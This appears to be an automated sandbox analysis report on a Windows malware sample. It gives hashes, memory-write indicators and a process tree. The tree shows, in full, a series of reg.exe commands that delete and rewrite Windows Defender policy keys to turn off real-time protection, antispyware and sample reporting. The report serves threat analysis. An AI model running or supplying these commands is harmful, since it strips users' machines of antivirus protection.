Analysis
-
max time kernel
106s -
max time network
151s -
platform
windows10-2004_x64 -
resource
win10v2004-20220414-en -
submitted
20-05-2022 22:31
Static task
static1
Behavioral task
behavioral1
Sample
d46ed35f935702fa48c8769ccd66883924c7905f5196f25169984dbd96afc9cf.exe
Resource
win7-20220414-en
General
-
Target
d46ed35f935702fa48c8769ccd66883924c7905f5196f25169984dbd96afc9cf.exe
-
Size
90KB
-
MD5
85340d7bc64e23ba2c61f9612c369148
-
SHA1
38e2ada88a258f16391b6d2ec2e1ff462b2e8fd3
-
SHA256
d46ed35f935702fa48c8769ccd66883924c7905f5196f25169984dbd96afc9cf
-
SHA512
48806f8afa726c200a26fc7c8235e542b63e2026b2f88df8508caee25681ea5e415e22982ee45ebb147c0166be34d407c3ced90b49e0719a1fd31a643b2a0e20
Malware Config
Signatures
-
Suspicious use of WriteProcessMemory 28 IoCs
Processes:
d46ed35f935702fa48c8769ccd66883924c7905f5196f25169984dbd96afc9cf.execmd.exedescription pid process target process PID 1876 wrote to memory of 2540 1876 d46ed35f935702fa48c8769ccd66883924c7905f5196f25169984dbd96afc9cf.exe cmd.exe PID 1876 wrote to memory of 2540 1876 d46ed35f935702fa48c8769ccd66883924c7905f5196f25169984dbd96afc9cf.exe cmd.exe PID 2540 wrote to memory of 2800 2540 cmd.exe reg.exe PID 2540 wrote to memory of 2800 2540 cmd.exe reg.exe PID 2540 wrote to memory of 2932 2540 cmd.exe reg.exe PID 2540 wrote to memory of 2932 2540 cmd.exe reg.exe PID 2540 wrote to memory of 2536 2540 cmd.exe reg.exe PID 2540 wrote to memory of 2536 2540 cmd.exe reg.exe PID 2540 wrote to memory of 3272 2540 cmd.exe reg.exe PID 2540 wrote to memory of 3272 2540 cmd.exe reg.exe PID 2540 wrote to memory of 1996 2540 cmd.exe reg.exe PID 2540 wrote to memory of 1996 2540 cmd.exe reg.exe PID 2540 wrote to memory of 4568 2540 cmd.exe reg.exe PID 2540 wrote to memory of 4568 2540 cmd.exe reg.exe PID 2540 wrote to memory of 3976 2540 cmd.exe reg.exe PID 2540 wrote to memory of 3976 2540 cmd.exe reg.exe PID 2540 wrote to memory of 5080 2540 cmd.exe reg.exe PID 2540 wrote to memory of 5080 2540 cmd.exe reg.exe PID 2540 wrote to memory of 3808 2540 cmd.exe reg.exe PID 2540 wrote to memory of 3808 2540 cmd.exe reg.exe PID 2540 wrote to memory of 4404 2540 cmd.exe reg.exe PID 2540 wrote to memory of 4404 2540 cmd.exe reg.exe PID 2540 wrote to memory of 4512 2540 cmd.exe reg.exe PID 2540 wrote to memory of 4512 2540 cmd.exe reg.exe PID 2540 wrote to memory of 4920 2540 cmd.exe reg.exe PID 2540 wrote to memory of 4920 2540 cmd.exe reg.exe PID 2540 wrote to memory of 8 2540 cmd.exe reg.exe PID 2540 wrote to memory of 8 2540 cmd.exe reg.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\d46ed35f935702fa48c8769ccd66883924c7905f5196f25169984dbd96afc9cf.exe"C:\Users\Admin\AppData\Local\Temp\d46ed35f935702fa48c8769ccd66883924c7905f5196f25169984dbd96afc9cf.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\6D26.tmp\6D27.tmp\6D28.bat C:\Users\Admin\AppData\Local\Temp\d46ed35f935702fa48c8769ccd66883924c7905f5196f25169984dbd96afc9cf.exe"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\reg.exereg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f3⤵
-
C:\Windows\system32\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f3⤵
-
C:\Windows\system32\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f3⤵
-
C:\Windows\system32\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f3⤵
-
C:\Windows\system32\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f3⤵
-
C:\Windows\system32\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f3⤵
-
C:\Windows\system32\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f3⤵
-
C:\Windows\system32\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f3⤵
-
C:\Windows\system32\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f3⤵
-
C:\Windows\system32\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f3⤵
-
C:\Windows\system32\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f3⤵
-
C:\Windows\system32\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f3⤵
-
C:\Windows\system32\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f3⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\6D26.tmp\6D27.tmp\6D28.batFilesize
1KB
MD5509170ad1804d3092fa6c5cf530e017f
SHA13fb5b0dee2231ef6e7d0f71b6af5b298f109c2c4
SHA2567a1f7876c4cdbc2010f08f143347f6c037c558ff57a3209cb5a56644e385280d
SHA512ef12b29934cb19fe87e7014f6cbd22e23c1b77f3841ecd06b980e72d6c067f9b1a32524b5985c70f1537cecbad8286a73925de3b87e396cf19bb6580e828ee58
-
memory/8-144-0x0000000000000000-mapping.dmp
-
memory/1996-136-0x0000000000000000-mapping.dmp
-
memory/2536-134-0x0000000000000000-mapping.dmp
-
memory/2540-130-0x0000000000000000-mapping.dmp
-
memory/2800-132-0x0000000000000000-mapping.dmp
-
memory/2932-133-0x0000000000000000-mapping.dmp
-
memory/3272-135-0x0000000000000000-mapping.dmp
-
memory/3808-140-0x0000000000000000-mapping.dmp
-
memory/3976-138-0x0000000000000000-mapping.dmp
-
memory/4404-141-0x0000000000000000-mapping.dmp
-
memory/4512-142-0x0000000000000000-mapping.dmp
-
memory/4568-137-0x0000000000000000-mapping.dmp
-
memory/4920-143-0x0000000000000000-mapping.dmp
-
memory/5080-139-0x0000000000000000-mapping.dmp